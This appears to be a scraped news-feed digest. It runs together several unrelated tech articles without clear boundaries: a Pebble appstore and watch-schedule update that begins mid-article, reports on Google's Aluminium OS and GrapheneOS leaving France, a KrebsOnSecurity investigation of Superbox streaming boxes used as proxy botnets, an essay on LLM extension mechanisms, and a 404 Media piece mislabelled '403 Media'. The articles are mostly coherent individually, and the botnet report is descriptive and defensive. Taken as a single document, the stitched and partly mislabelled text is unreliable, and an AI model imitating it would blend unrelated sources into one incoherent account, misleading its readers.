Then there’s the Pebble Appstore. This is a collection of nearly 15,000 watchfaces and watchapps that you - the Pebble community - developed between 2012 and July 2018. When Fitbit pulled the plug on the original Pebble Appstore, the Rebble Foundation downloaded a copy of all the apps and faces, and set up a new web service to let users of the old Pebble app continue to download and use watchfaces. This was an incredible effort, one that I have used thousands of times and am a happy paying subscriber. But it’s still centralized - if their server disappears, there is no freely available backup.
To compensate for that, today we’re launching two new things:
The Pebble mobile app will soon (later this week) be able to subscribe to multiple appstore ‘feeds’. This is similar to open source package managers like pip, AUR, APT, etc. Anyone can create a Pebble-compatible appstore feed and users will be able to browse apps from that feed in the Pebble mobile app.
We’ve created our own Pebble Appstore feed (
appstore-api.repebble.com
) and new
Developer
Dashb
oard
. Our feed (fyi powered by 100% new software) is configured to back up an archive of all apps and faces to
Archive.org
(backup will gradually complete over the next week). Today, our feed only has a subset of all Pebble watchfaces and apps (thank you aveao for creating
Pebble Archive
!). Developers - you can
upload
your existing or new apps right now! We hope that this sets a standard for openness and we encourage all feeds to publish a freely and publicly available archive.
Important to note - developers will still be able to charge money for their apps and faces, using Kiezel pay or other services. This change does not preclude them from doing that, in fact it makes it even easier - I could see some developers creating a paid-only feed. As I
recently wrote
, we're also working on other ways for Pebble developers to earn money by publishing fun, beautiful and creative Pebble apps.
Another important note - some binary blobs and other non-free software components are used today in PebbleOS and the Pebble mobile app (ex: the heart rate sensor on PT2 , Memfault library, and others). Optional non-free web services, like Wispr-flow API speech recognizer, are also used. These non-free software components are not required - you can compile and run Pebble watch software without them. This will always be the case. More non-free software components may appear in our software in the future. The core Pebble watch software stack (everything you need to use your Pebble watch) will always be open source.
Pre-production Pebble Time 2. These watches are not final quality! We are still tweaking and tuning everything.
PT2 Schedule Update
We’re currently in the middle of Pebble Time 2 design verification test (DVT) phase. After we finish that, we go into production verification test (PVT) and then mass production (MP). So far, things are proceeding according to the schedule update I shared
last month
but that is extraordinarily subject to change. We still have a lot of testing (especially waterproof and environmental) to go. If we find problems (which is likely) we will push the schedule back to make improvements to the product.
The one major complicating factor is the timing of Chinese New Year (CNY). It’s early next year - factories will shut down for 3 weeks starting around the end of January. After restarting, things always take a week or two to get back to full speed.
We are trying our best to get into mass production and ship out at most several thousand Pebble Time 2s before CNY. It’s going to be very tight 🤞. More likely is that production will begin after CNY, then we need to transfer the watches to our fulfillment center, and ship them out. Realistically, at this time we’re forecasting that the majority of people will receive their PT2 in March and April. Please keep in mind that things may still change.
Picking a PT2 colour
There will be 4 colour options for PT2 - black/black, black/red, silver/blue, silver/(white or dark gray, still TBD). Let me be very clear - no one has picked a colour yet 😃. In a few weeks, I will send out an email asking everyone who pre-ordered a Pebble Time 2 to select which colour they would like to receive.
Please do not email us asking when this email will be sent out. No one has been invited yet to do this. I will post here after all emails have gone out.
On a related note, I am extremely happy that we built and shipped Pebble 2 Duo. Not only is it an awesome watch, it was also a phenomenal way for us to exercise our production muscles and ease back into the systematic flow of building and shipping smartwatches.
A video is worth a million words - so I encourage you to watch me demo Pebble Time 2 watches I just received this week. Keep in mind these watches are PRE-PRODUCTION which means they parts have imperfect qualities! Subject to change!
The video below opens to the part of the video where I do the demo.
Google's new 'Aluminium OS' project brings Android to PC
The Android operating system is incredibly versatile. Beyond
smartphones
, it officially powers tablets, watches, TVs, cars, and XR headsets. However, it has virtually no presence on traditional PCs, where Google instead relies on
ChromeOS
. Despite Google’s efforts to challenge the dominance of Windows and macOS, ChromeOS remains a distant third. To close this gap, the company is unifying ChromeOS and Android into a single desktop platform, codenamed ‘Aluminium OS.’ Here’s what we know so far.
Android on PCs: The story so far
One year ago,
Android Authority
exclusively revealed Google’s plan to
rally behind Android as its unified desktop OS
. Our source indicated that this shift aims to create products that better compete with the iPad while making more effective use of development resources. In July, a Google executive confirmed part of our reporting, revealing that the company intends to
merge ChromeOS and Android
into a single platform. Finally, at Qualcomm’s Snapdragon Summit in September, Google officially announced it is
bringing Android to the PC market
. The company stated it is collaborating with Qualcomm to build a new platform that converges mobile and desktop computing, leveraging recent advancements in AI.
Qualcomm CEO Cristiano Amon (left) and Google SVP of Devices and Services Rick Osterloh (right) announcing a joint project to bring Android to PCs.
While we now know Google is building Android for PCs, there are still many unknown details. Is Google retiring the ChromeOS brand? Will existing Chromebooks receive the new operating system, or will they be left behind? Will this OS arrive only on budget machines, or target premium PCs as well? What will the interface actually look like, and what new features can we expect?
These are the burning questions as Google continues developing the platform. We likely won’t have all the answers until we get closer to launch, but thanks to job listings and bug reports, we’ve uncovered early details that offer some clues.
Aluminium OS: Google’s PC ambitions take shape
Over the weekend, a tipster on Telegram named Frost Core shared a link to an intriguing Google job listing for a ‘
Senior Product Manager, Android, Laptop and Tablets
.’ While we already know Google is bringing Android to the PC, the listing explicitly states that the role involves ‘working on a new Aluminium, Android-based, operating system.’ This effectively confirms that Aluminium is the codename for the new unified platform. The name appears to be a nod to the project’s roots: like Chromium (the open-source version of ChromeOS), Aluminium is a metal ending in ‘-ium.’ The choice of the British spelling — emphasizing the ‘Al’ prefix — likely pays homage to Android serving as the project’s foundation.”
Much like
Android XR
, Google says its new Aluminium OS is ‘built with artificial intelligence (AI) at the core.’ This implies deep integration with
Gemini
, Google’s AI chatbot and large language model (LLM). At the Snapdragon Summit, Rick Osterloh, Google’s SVP of Devices and Services, outlined the company’s plans to bring its AI stack to PCs:
“This is another way we can leverage all of the great work we’re doing together on our AI stack, our full stack, bringing Gemini models, bringing the assistant, bringing all of our applications and developer community into the PC domain. And I think this is another way in which Android is gonna be able to serve everyone in every computing category.”
We have yet to see exactly what new features Gemini will enable on Android PCs, but we hope the OS will fully leverage the hardware’s potential. On select premium smartphones, Gemini already powers an array of on-device AI features that demand significant memory and processing power from the CPU, GPU, and NPU. There were concerns that Google might restrict this new OS to the same budget-friendly niche where Chromebooks currently excel, ceding the high-end market to Microsoft and Apple. However, the job listing dispels those fears.
The new Senior Product Manager role is tasked with “driving the roadmap and curating a portfolio of ChromeOS and Aluminium Operating System (ALOS) Commercial devices across all form factors (e.g. laptops, detachables, tablets, and boxes) and tiers (e.g., Chromebook, Chromebook Plus, AL Entry, AL Mass Premium, and AL Premium) that meets the needs of users and the business.”
This confirms that Android won’t be limited to laptops; the roadmap explicitly includes detachables, tablets, and ‘boxes’ (likely mini-PCs akin to the Chromebox or Mac Mini). Furthermore, the tiered structure — listing ‘AL Mass Premium’ and ‘AL Premium’ alongside ‘AL Entry’ — indicates that Google intends to push Android beyond budget PC hardware. While exact pricing for these tiers is hard to predict, it is clear Google aims to compete across the entire spectrum — a strategy foreshadowed by the recent Chromebook Plus initiative.
Speaking of Chromebooks, the job listing also raises questions about the future of ChromeOS. The listing notes that the person will help “drive ChromeOS and Aluminium (e.g., Android) platforms and devices,” creating a roadmap and product portfolio that encompasses both. This implies the two platforms will coexist for some time. However, the person is also explicitly tasked with developing a strategy for transitioning “Google from ChromeOS to Aluminium with business continuity in the future.” This confirms that Google aims to eventually replace ChromeOS entirely — a move that must be managed carefully to avoid disrupting enterprise customers. This transition will likely require a multi-pronged approach:
Legacy Support:
Existing ChromeOS devices that cannot be migrated to Aluminium OS will likely receive updates until they reach their end-of-life. This means Google will need to maintain the legacy ChromiumOS codebase for several more years.
Optional Migration:
Rather than forcing an immediate switch, Google may offer an optional upgrade path for capable hardware. The company is currently testing Aluminium OS on development boards featuring MediaTek Kompanio 520 and 12th Gen Intel Alder Lake processors, so existing Chromebooks with these chips could be eligible for the update. However, migrating an operating system on live hardware is a massive technical hurdle that will require meticulous execution.
And of course, there will be new PCs launching with Aluminium OS out of the box as well.
Is ChromeOS dead as we know it?
Even if Google replaces the entire foundation of ChromeOS with Android, the company may be reluctant to abandon the name. While it lacks the market share of Windows or macOS, the ChromeOS brand is widely recognized, particularly in the education and enterprise sectors. Although the job listing doesn’t confirm the final naming scheme, bug reports spotted by Frost Core hint that Google may retain the branding. Engineers have referred to the current platform as “ChromeOS Classic” and “non-Aluminium ChromeOS,” implying the new Android-based version could simply usurp the name “ChromeOS.”
Alternatively, Google might adopt “Android Desktop” as the name to align with its renewed focus on promoting Android as a brand. However, “Android Desktop” could merely be an internal designation for the form factor. Since these references have only appeared in bug reports, the final marketing name remains an open question.
When will Android on PCs launch?
Google is actively developing the platform, with bug reports confirming that the company is testing fresh builds of
Android 16
on development hardware. The company has confirmed the project will launch in 2026, though it remains unclear whether it will arrive in the first or second half of the year. Given this timeline, it is highly likely that the initial public release will be built upon
Android 17
, which is due next year. We will continue to monitor the project to find further details ahead of its official debut.
Thank you for being part of our community. Read our
Comment Policy
before posting.
GrapheneOS migrates server infrastructure from France
The GrapheneOS project has
announced
on X that they are ceasing all operations in France, asserting that the country is no longer safe for "open source privacy projects".
While the operating system will still be
available
to French users, all website and discussion servers are being relocated abroad.
Until now, the project relied on OVH Bearharnois, a French hosting provider, for its core website and social media services. The migration plan moves the Mastodon, Discourse, and Matrix instances to a combination of local and shared servers in Toronto. Critical website infrastructure will be hosted by Netcup, a German‑based company.
GrapheneOS claims that they does not collect confidential user data in their servers or store critical infrastructure in France. Therefore, the migration does not affect services such as signature verification and downgrade protection for updates.
Citing the government's support of the European Union Chat Control proposal, GrapheneOS developers are also refusing travel to France. Developers are no longer allowed to work inside the country due to safety concerns.
This decision was sparked by negative press coverage from two articles published by
Le Parisien
. An interview with French cybercrime prosecutor Johanna Brousse
implies
potential legal action against the project:
"With this new tool, there is real legitimacy for a certain portion of users in the desire to protect their exchanges. The approach is therefore different. But that won't stop us from suing the publishers if links are discovered with a criminal organization and they don't cooperate with the law"
GrapheneOS
argues
that
Le Parisien
have conflated their project with government-sponsored forks, which are fake copies of their operating system. The news outlet
refers
to a fake Snapchat app, dark web advertising, and a series of unlisted YouTube videos that are not features of GrapheneOS itself.
The project had previously
threatened
litigation against these government-sponsored forks. One prominent example is ANOM, an FBI-backed shell company that developed a compromised Android operating system and messaging platform as part of
Operation Trojan Horse
from 2018 and 2021.
Is Your Android TV Streaming Box Part of a Botnet?
Krebs
krebsonsecurity.com
2025-11-24 18:44:52
On the surface, the Superbox media streaming devices for sale at retailers like BestBuy and Walmart may seem like a steal: They offer unlimited access to more than 2,200 pay-per-view and streaming services like Netflix, ESPN and Hulu, all for a one-time fee of around $400. But security experts warn ...
On the surface, the
Superbox
media streaming devices for sale at retailers like
BestBuy
and
Walmart
may seem like a steal: They offer unlimited access to more than 2,200 pay-per-view and streaming services like
Netflix
,
ESPN
and
Hulu
, all for a one-time fee of around $400. But security experts warn these TV boxes require intrusive software that forces the user’s network to relay Internet traffic for others, traffic that is often tied to cybercrime activity such as advertising fraud and account takeovers.
Superbox media streaming boxes for sale on Walmart.com.
Superbox bills itself as an affordable way for households to stream all of the television and movie content they could possibly want, without the hassle of monthly subscription fees — for a one-time payment of nearly $400.
“Tired of confusing cable bills and hidden fees?,” Superbox’s website asks in a recent blog post titled, “Cheap Cable TV for Low Income: Watch TV, No Monthly Bills.”
“Real cheap cable TV for low income solutions does exist,” the blog continues. “This guide breaks down the best alternatives to stop overpaying, from free over-the-air options to one-time purchase devices that eliminate monthly bills.”
Superbox claims that watching a stream of movies, TV shows, and sporting events won’t violate U.S. copyright law.
“SuperBox is just like any other Android TV box on the market, we can not control what software customers will use,” the company’s website maintains. “And you won’t encounter a law issue unless uploading, downloading, or broadcasting content to a large group.”
A blog post from the Superbox website.
There is nothing illegal about the sale or use of the Superbox itself, which can be used strictly as a way to stream content at providers where users already have a paid subscription. But that is not why people are shelling out $400 for these machines. The only way to watch those 2,200+ channels for free with a Superbox is to install several apps made for the device that enable them to stream this content.
Superbox’s homepage includes a prominent message stating the company does “not sell access to or preinstall any apps that bypass paywalls or provide access to unauthorized content.” The company explains that they merely provide the hardware, while customers choose which apps to install.
“We only sell the hardware device,” the notice states. “Customers must use official apps and licensed services; unauthorized use may violate copyright law.”
Superbox is technically correct here, except for maybe the part about how customers must use official apps and licensed services: Before the Superbox can stream those thousands of channels, users must configure the device to update itself, and the first step involves ripping out Google’s official Play store and replacing it with something called the “App Store” or “Blue TV Store.”
Superbox does this because the device does not use the official Google-certified Android TV system, and its apps will not load otherwise. Only after the Google Play store has been supplanted by this unofficial App Store do the various movie and video streaming apps that are built specifically for the Superbox appear available for download (again, outside of Google’s app ecosystem).
Experts say while these Android streaming boxes generally do what they advertise — enabling buyers to stream video content that would normally require a paid subscription — the apps that enable the streaming also ensnare the user’s Internet connection in a distributed residential proxy network that uses the devices to relay traffic from others.
Ashley
is a senior solutions engineer at
Censys
, a cyber intelligence company that indexes Internet-connected devices, services and hosts. Ashley requested that only her first name be used in this story.
In a recent video interview, Ashley showed off several Superbox models that the Censys research team was studying in the malware lab — including one purchased off the shelf at BestBuy.
“I’m sure a lot of people are thinking, ‘Hey, how bad could it be if it’s for sale at the big box stores?'” she said. “But the more I looked, things got weirder and weirder.”
Ashley said she found the Superbox devices immediately contacted a server at the Chinese instant messaging service
Tencent
QQ
, as well as a residential proxy service called
Grass IO
.
GET GRASSED
Also known as getgrass[.]io, Grass says it is “a decentralized network that allows users to earn rewards by sharing their unused Internet bandwidth with AI labs and other companies.”
“Buyers seek unused internet bandwidth to access a more diverse range of IP addresses, which enables them to see certain websites from a retail perspective,” the Grass website explains. “By utilizing your unused internet bandwidth, they can conduct market research, or perform tasks like web scraping to train AI.”
Reached via Twitter/X, Grass founder
Andrej Radonjic
told KrebsOnSecurity he’d never heard of a Superbox, and that Grass has no affiliation with the device maker.
“It looks like these boxes are distributing an unethical proxy network which people are using to try to take advantage of Grass,” Radonjic said. “The point of grass is to be an opt-in network. You download the grass app to monetize your unused bandwidth. There are tons of sketchy SDKs out there that hijack people’s bandwidth to help webscraping companies.”
Radonjic said Grass has implemented “a robust system to identify network abusers,” and that if it discovers anyone trying to misuse or circumvent its terms of service, the company takes steps to stop it and prevent those users from earning points or rewards.
Superbox’s parent company,
Super Media Technology Company Ltd.
, lists its street address as a UPS store in Fountain Valley, Calif. The company did not respond to multiple inquiries.
According to
this teardown by behindmlm.com
, a blog that covers multi-level marketing (MLM) schemes, Grass’s compensation plan is built around “grass points,” which are earned through the use of the Grass app and through app usage by recruited affiliates. Affiliates can earn 5,000 grass points for clocking 100 hours usage of Grass’s app, but they must progress through ten affiliate tiers or ranks before they can redeem their grass points (presumably for some type of cryptocurrency). The 10th or “Titan” tier requires affiliates
to accumulate a whopping 50 million grass points, or recruit at least 221 more affiliates
.
Radonjic said Grass’s system has changed in recent months, and confirmed the company has a referral program where users can earn Grass Uptime Points by contributing their own bandwidth and/or by inviting other users to participate.
“Users are not required to participate in the referral program to earn Grass Uptime Points or to receive Grass Tokens,” Radonjic said. “Grass is in the process of phasing out the referral program and has introduced an updated Grass Points model.”
A review of the Terms and Conditions page for getgrass[.]io at the Wayback Machine shows Grass’s parent company has changed names at least five times in the course of its two-year existence. Searching the Wayback Machine on getgrass[.]io shows that in June 2023 Grass was owned by a company called
Wynd Network
. By March 2024, the owner was listed as
Lower Tribeca Corp.
in the Bahamas. By August 2024, Grass was controlled by a
Half Space Labs Limited
, and in November 2024 the company was owned by
Grass OpCo (BVI) Ltd
. Currently, the Grass website says its parent is just
Grass OpCo Ltd
(no BVI in the name).
Radonjic acknowledged that Grass has undergone “a handful of corporate clean-ups over the last couple of years,” but described them as administrative changes that had no operational impact. “These reflect normal early-stage restructuring as the project moved from initial development…into the current structure under the Grass Foundation,” he said.
UNBOXING
Censys’s Ashley said the phone home to China’s Tencent QQ instant messaging service was the first red flag with the Superbox devices she examined. She also discovered the streaming boxes included powerful network analysis and remote access tools, such as
Tcpdump
and
Netcat
.
“This thing DNS hijacked my router, did
ARP poisoning
to the point where things fall off the network so they can assume that IP, and attempted to bypass controls,” she said. “I have root on all of them now, and they actually have a folder called ‘secondstage.’ These devices also have Netcat and Tcpdump on them, and yet they are supposed to be streaming devices.”
A quick online search shows various Superbox models and many similar Android streaming devices for sale at a wide range of top retail destinations, including
Amazon
,
BestBuy
,
Newegg
, and
Walmart
. Newegg.com, for example, currently lists more than three dozen Superbox models. In all cases, the products are sold by third-party merchants on these platforms, but in many instances the fulfillment comes from the e-commerce platform itself.
“Newegg is pretty bad now with these devices,” Ashley said. “Ebay is the funniest, because they have Superbox in Spanish — the SuperCaja — which is very popular.”
Superbox devices for sale via Newegg.com.
Ashley said Amazon recently cracked down on Android streaming devices branded as Superbox, but that those listings can still be found under the more generic title “
modem and router combo
” (which may be slightly closer to the truth about the device’s behavior).
Superbox doesn’t advertise its products in the conventional sense. Rather, it seems to rely on lesser-known influencers on places like Youtube and TikTok to promote the devices. Meanwhile, Ashley said, Superbox pays those influencers 50 percent of the value of each device they sell.
“It’s weird to me because influencer marketing usually caps compensation at 15 percent, and it means they don’t care about the money,” she said. “This is about building their network.”
A TikTok influencer casually mentions and promotes Superbox while chatting with her followers over a glass of wine.
BADBOX
As plentiful as the Superbox is on e-commerce sites, it is just one brand in an ocean of no-name Android-based TV boxes available to consumers. While these devices generally do provide buyers with “free” streaming content, they also tend to include factory-installed malware or require the installation of third-party apps that engage the user’s Internet address in advertising fraud.
In July 2025, Google filed a “John Doe”
lawsuit
(PDF) against 25 unidentified defendants dubbed the “
BadBox 2.0 Enterprise
,” which Google described as a botnet of over ten million Android streaming devices that engaged in advertising fraud. Google said the BADBOX 2.0 botnet, in addition to compromising multiple types of devices prior to purchase, can also infect devices by requiring the download of malicious apps from unofficial marketplaces.
Some of the unofficial Android devices flagged by Google as part of the Badbox 2.0 botnet are still widely for sale at major e-commerce vendors. Image: Google.
Several of the Android streaming devices flagged in Google’s lawsuit are still for sale on top U.S. retail sites. For example, searching for the “
X88Pro 10
” and the “
T95
” Android streaming boxes finds both continue to be peddled by Amazon sellers.
Google’s lawsuit came on the heels of a
June 2025 advisory
from the
Federal Bureau of Investigation
(FBI), which warned that cyber criminals were gaining unauthorized access to home networks by either configuring the products with malicious software prior to the user’s purchase, or infecting the device as it downloads required applications that contain backdoors, usually during the set-up process.
“Once these compromised IoT devices are connected to home networks, the infected devices are susceptible to becoming part of the BADBOX 2.0 botnet and residential proxy services known to be used for malicious activity,” the FBI said.
The FBI said BADBOX 2.0 was discovered after the original BADBOX campaign was disrupted in 2024. The original BADBOX was identified in 2023, and primarily consisted of Android operating system devices that were compromised with backdoor malware prior to purchase.
Riley Kilmer
is founder of
Spur
, a company that tracks residential proxy networks. Kilmer said Badbox 2.0 was used as a distribution platform for
IPidea
, a China-based entity that is now the world’s largest residential proxy network.
Kilmer and others say IPidea is merely a rebrand of
911S5 Proxy
, a China-based proxy provider
sanctioned last year
by the
U.S. Department of the Treasury
for operating a botnet that helped criminals steal billions of dollars from financial institutions, credit card issuers, and federal lending programs (the
U.S. Department of Justice
also arrested the alleged owner of 911S5).
How are most IPidea customers using the proxy service? According to the proxy detection service
Synthient
, six of the top ten destinations for IPidea proxies involved traffic that has been linked to either ad fraud or credential stuffing (account takeover attempts).
Kilmer said companies like Grass are probably being truthful when they say that some of their customers are
companies performing web scraping to train artificial intelligence efforts
, because a great deal of content scraping which ultimately benefits AI companies is now leveraging these proxy networks to further obfuscate their aggressive data-slurping activity. By routing this unwelcome traffic through residential IP addresses, Kilmer said, content scraping firms can make it far trickier to filter out.
“Web crawling and scraping has always been a thing, but AI made it like a commodity, data that had to be collected,” Kilmer told KrebsOnSecurity. “Everybody wanted to monetize their own data pots, and how they monetize that is different across the board.”
SOME FRIENDLY ADVICE
Products like Superbox are drawing increased interest from consumers as more popular network television shows and sportscasts migrate to subscription streaming services, and as people begin to realize they’re spending as much or more on streaming services than they previously paid for cable or satellite TV.
These streaming devices from no-name technology vendors are another example of the maxim, “If something is free, you are the product,” meaning the company is making money by selling access to and/or information about its users and their data.
Superbox owners might counter, “Free? I paid $400 for that device!” But remember: Just because you paid a lot for something doesn’t mean you are done paying for it, or that somehow you are the only one who might be worse off from the transaction.
It may be that many Superbox customers don’t care if someone uses their Internet connection to tunnel traffic for ad fraud and account takeovers; for them, it beats paying for multiple streaming services each month. My guess, however, is that quite a few people who buy (or are gifted) these products have little understanding of the bargain they’re making when they plug them into an Internet router.
Superbox performs some serious linguistic gymnastics to claim its products don’t violate copyright laws, and that its customers alone are responsible for understanding and observing any local laws on the matter. However, buyer beware: If you’re a resident of the United States, you should know that using these devices for unauthorized streaming violates the
Digital Millennium Copyright Act
(DMCA), and can incur legal action, fines, and potential warnings and/or suspension of service by your Internet service provider.
According to the FBI, there are several signs to look for that may indicate a streaming device you own is malicious, including:
-The presence of suspicious marketplaces where apps are downloaded.
-Requiring Google Play Protect settings to be disabled.
-Generic TV streaming devices advertised as unlocked or capable of accessing free content.
-IoT devices advertised from unrecognizable brands.
-Android devices that are not Play Protect certified.
-Unexplained or suspicious Internet traffic.
This explainer
from the
Electronic Frontier Foundation
delves a bit deeper into each of the potential symptoms listed above.
Three years ago, “using an LLM” meant pasting a wall of text into a chat box and hoping for something useful back. Today, we point agents at our codebases, our browsers, and let them go off and act on our behalf. A key question that has been brewing under the surface during this time has been:
how do we let end users actually customize these systems
?
As models have become more capable, the ways and mechanisms that end users have access to customize them have expanded as well. We've gone from simple system prompts to complex client-server protocols and back again.
I wanted to take a moment to reflect on the history of LLM extension over the last three years and where I see it going in the future.
Just four months after launch, OpenAI announced
ChatGPT Plugins
. Looking back, these were wildly ahead of their time.
The idea was ambitious: give the LLM a link to an OpenAPI spec and let it "run wild" calling REST endpoints. It was a direct line to AGI-style thinking: universal tool use via standard APIs.
{"schema_version":"v1","name_for_human":"TODO Manager","name_for_model":"todo_manager","description_for_human":"Manages your TODOs!","description_for_model":"An app for managing a user's TODOs","api":{"url":"/openapi.json"},"auth":{"type":"none"},"logo_url":"https://example.com/logo.png","legal_info_url":"http://example.com","contact_email":"hello@example.com"}
The problem?
The models weren't ready.
GPT-3.5 (and even early GPT-4) struggled to navigate massive API specs without hallucinating or getting lost in context. Plus, the UX was clunky. You had to manually toggle plugins for every chat!
Here's what that looked like:
But it gave us a glimpse of the future:
The Code Interpreter
plugin (later Advanced Data Analysis) became indispensable, foreshadowing the powerful sandboxed execution environments we use today.
Custom instructions were the "smooth brain" counter-reaction to the complexity of plugins. I did a double take when writing this because I thought for sure this feature was released before plugins.
It was just a user-defined prompt appended to every chat. Simple. Obvious. Yet it solved a huge problem: repetitive context setting.
This was the spiritual ancestor to every
.cursorrules
and
CLAUDE.md
file that followed.
OpenAI repackaged instructions and tools into
Custom GPTs
. This was an attempt to "productize" prompt engineering. You could bundle a persona, some files, and a few actions into a shareable link.
It was a retreat from the open-ended promise of plugins toward curated, single-purpose "apps."
So far, we've discussed manual ways to extend LLMs.
Memory
represented a shift toward automatic personalization.
ChatGPT Memory records details from your conversations and quietly inserts them into future context. It's like a system prompt that writes itself. If you mention you're a vegetarian, it remembers that weeks later. It’s a small feature, but it marked the beginning of agents that maintain long-term state without user intervention.
Cursor
changed the game by putting custom instructions where they belonged:
in the repo
.
The
.cursorrules
file was a revelation. Instead of pasting context into a chat window, you committed it to git.
"We use tabs, not spaces."
"No semicolons."
"Always use TypeScript."
It started as a single file, then evolved into a
.cursor/rules
folder with sophisticated scoping. You could organize multiple rule files, and even define when they applied, for example, only for certain file types or subdirectories. It was the first time extension felt "native" to the code.
Later Cursor introduced the ability to let the LLM decide when to apply a rule, which is a pattern we will see again.
By late 2024, models were finally smart enough to handle real tools reliably. Anthropic's
Model Context Protocol (MCP)
was the answer.
MCP is a heavyweight solution. An MCP client needs to keep a persistent connection to an MCP server. The server serves up tool definitions, resources, and prompts to the client (in most cases is an agent) and it can send a message to the server saying a tool has been called and the server can respond with the result.
Unlike Custom Instructions (which just add context),
MCP gives the model actual capabilities
. It can read your repo, query your Postgres DB, or deploy to Vercel. Besides just providing tools, it also allows servers to provide
resources
(documents, logs) and
prompts
directly to the agent.
It's powerful, and perhaps a bit of overkill. While the complexity might be worth it for agent developers asking a user to set up and connect an MCP is a lot of friction and there is an entire ecosystem of startups like
Smithery
built around making it easier to use MCP.
It is worth noting that ChatGPT apps which were announced in
October 2025
are built on top of MCP as a base layer. This is an attempt to make it easier for end users to use MCP without having to actually think about it.
Claude Code: New Agent, New Extensions (Feb 2025)
Early 2025 brought us
Claude Code
, which essentially added every extension mechanism under the sun to an agent.
CLAUDE.md
:
The standard for repo-level instructions.
MCP:
For heavy-duty tool integration.
Slash Commands:
Like Cursor's notebooks, for reusable prompts.
Hooks:
The ability to intercept and modify the agent's loop (e.g., "Stop if the tests fail").
Sub-agents:
Spawning specialized workers to handle sub-tasks.
Output Styles:
(Deprecated) Configuring tone and format.
Time will tell how many of these features will stick around in the long term. Anthropic has already tried to
deprecate output styles
.
The next extension mechanism added to Claude Code is significant enough to warrant a deeper dive.
Agent Skills
are the rebirth of ChatGPT Plugins.
While MCP has a whole client-server protocol, Agent Skills are just folders of markdown files and scripts (in whatever language you choose).
The agent simply scans a
skills/
directory, reads the frontmatter of every
SKILL.md
, and builds a lightweight index. It then chooses to read the full contents of a skill only if it's appropriate for the current task. This solves one of the major problems with MCP: the context bloat that comes from having to load all of the tool definitions into the context window at once.
Here is a snippet of the structure of a skill for doing e2e testing with Playwright taken from Anthropic's
Skills examples
repository:
There is a mix of scripts, examples, and plain text instructions. The only required file is the SKILL.md file. Let's take a look at that file:
---name: webapp-testing
description: Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.
license: Complete terms in LICENSE.txt---# Web Application TestingTo test local web applications, write native Python Playwright scripts.
**Helper Scripts Available**:
-`scripts/with_server.py` - Manages server lifecycle (supports multiple servers)
**Always run scripts with `--help` first** to see usage. DO NOT read the source until you try running the script first and find that a customized solution is absolutely necessary. These scripts can be very large and thus pollute your context window. They exist to be called directly as black-box scripts rather than ingested into your context window.
... skill continues ...
This is just a plain markdown file with some metadata and a description of the skill. The agent reads the file which freely references other files that the agent can read. In contrast a playwright MCP server has dozens of tool definitions to control a browser, this skill just says "you have bash, this is how you write a playwright script".
Granted to use a skill the agent needs to have general purpose access to a computer, but this is the
bitter lesson
in action. Giving an agent general purpose tools and trusting it to have the ability to use them to accomplish a task might very well be the winning strategy over making specialized tools for every task.
What the future holds
Skills are the actualization of the dream that was set out by ChatGPT Plugins: just give the model instructions and some generic tools and trust it to do the glue work in-between. But I have a hypothesis that it might actually work now because the
models are actually smart enough for it to work.
Agent skills work because it assumes the agent has the ability to write its own tools (via bash commands). You can just give it code snippets and ask the agent to figure out how to run them generically for the task at hand.
Importantly, I think that skills signal towards a new definition of what an agent really is. An agent isn't just a LLM in a while loop. It's an LLM in a while loop that has a computer strapped to it.
Claude Code is the piece of software that first made this click for me, but it is way too developer focused to be the final form. Other applications like
Zo Computer
try to package the llm and computer together into a single application, but I still think it still doesn't abstract the computer away enough from the end user. If I ask a coworker to do something, I don't need to see their entire file system, I just need to know that they have a computer.
Looking forward into 2026 I expect more and more llm applications that we use will have a computer strapped to them in new and interesting ways, whether we know it or not.
If I could short MCP, I would, and I expect us to go back to extending our agents with the most accessible programming language: natural language.
America’s Polarization Has Become the World's Side Hustle
403 Media
www.404media.co
2025-11-24 18:31:57
The 'psyops' revealed by X are entirely the fault of the perverse incentives created by social media monetization programs....
A new feature on X is making people suddenly realize that some large portion of the divisive, hateful, and spammy content designed to inflame tensions or, at the very least, is designed to get lots of engagement on social media, is being published by accounts that are pretending to be based in the United States but are actually
being run by people in countries
like Bangladesh, Vietnam, India, Cambodia, Russia, and other countries. An account called “Ivanka News” is based in Nigeria, “RedPilledNurse” is from Europe, “MAGA Nadine” is in Morocco, “Native American Soul” is in Bangladesh, and “Barron Trump News” is based in Macedonia, among many, many of others.
Inauthentic viral accounts on X are just the tip of the iceberg, though,
as we have reported
. A huge amount of the viral content about American politics and American news on social media is from sock puppet and bot accounts monetized by people in other countries. The rise of easy to use, free AI generative tools have supercharged this effort, and social media monetization programs have incentivized this effort and are almost entirely to blame. The current disinformation and slop phenomenon on the internet today makes the days of ‘Russian bot farms’ and ‘fake news pages from Cyprus’ seem quaint; the problem is now fully decentralized and distributed across the world and is almost entirely funded by social media companies themselves.
This will not be news to people who have been following 404 Media, because I have done multiple investigations about the perverse incentives that social media and AI companies have created to incentivize people to fill their platforms with slop. But what has happened on X is the same thing that has happened on Facebook, Instagram, YouTube, and other social media platforms (it is also happening to the internet as a whole, with AI slop websites laden with plagiarized content and SEO spam and monetized with Google ads). Each social media platform has either an ad revenue sharing program, a “creator bonus” program, or a monetization program
that directly pays creators who go viral on their platforms
.
This has created an ecosystem of side hustlers trying to gain access to these programs and YouTube and Instagram creators teaching people how to gain access to them. It is possible to find these guide videos easily if you search for things like “monetized X account” on YouTube. Translating that phrase and searching in other languages (such as Hindi, Portuguese, Vietnamese, etc) will bring up guides in those languages. Within seconds, I was able to find a handful of YouTubers explaining in Hindi how to create monetized X accounts; other videos on the creators’ pages explain how to fill these accounts with AI-generated content. These guides also exist in English, and it is increasingly popular to sell guides to make “AI influencers,” and AI newsletters, Reels accounts, and TikTok accounts regardless of the country that you’re from.
Examples include “AK Educate” (which is one of thousands), which posts every few days about
how to monetize accounts
on Facebook, YouTube, X, Instagram, TikTok, Etsy, and others. “How to create Twitter X Account for Monitization [sic] | Earn From Twitter in Pakistan,” is the name of a typical video in this genre. These channels are not just teaching people how to make and spam content, however. They are teaching people specifically how to make it seem like they are located in the United States, and how to create content that they believe will perform with American audiences on American social media. Sometimes they are advising the use of VPNs and other tactics to make it seem like the account is posting from the United States, but many of the accounts explain that doing this step doesn’t actually matter.
Americans are being targeted because advertisers pay higher ad rates to reach American internet users, who are among the wealthiest in the world. In turn, social media companies pay more money if the people engaging with the content are American. This has created a system where it makes financial sense for people from the entire world to specifically target Americans with highly engaging, divisive content. It pays more.
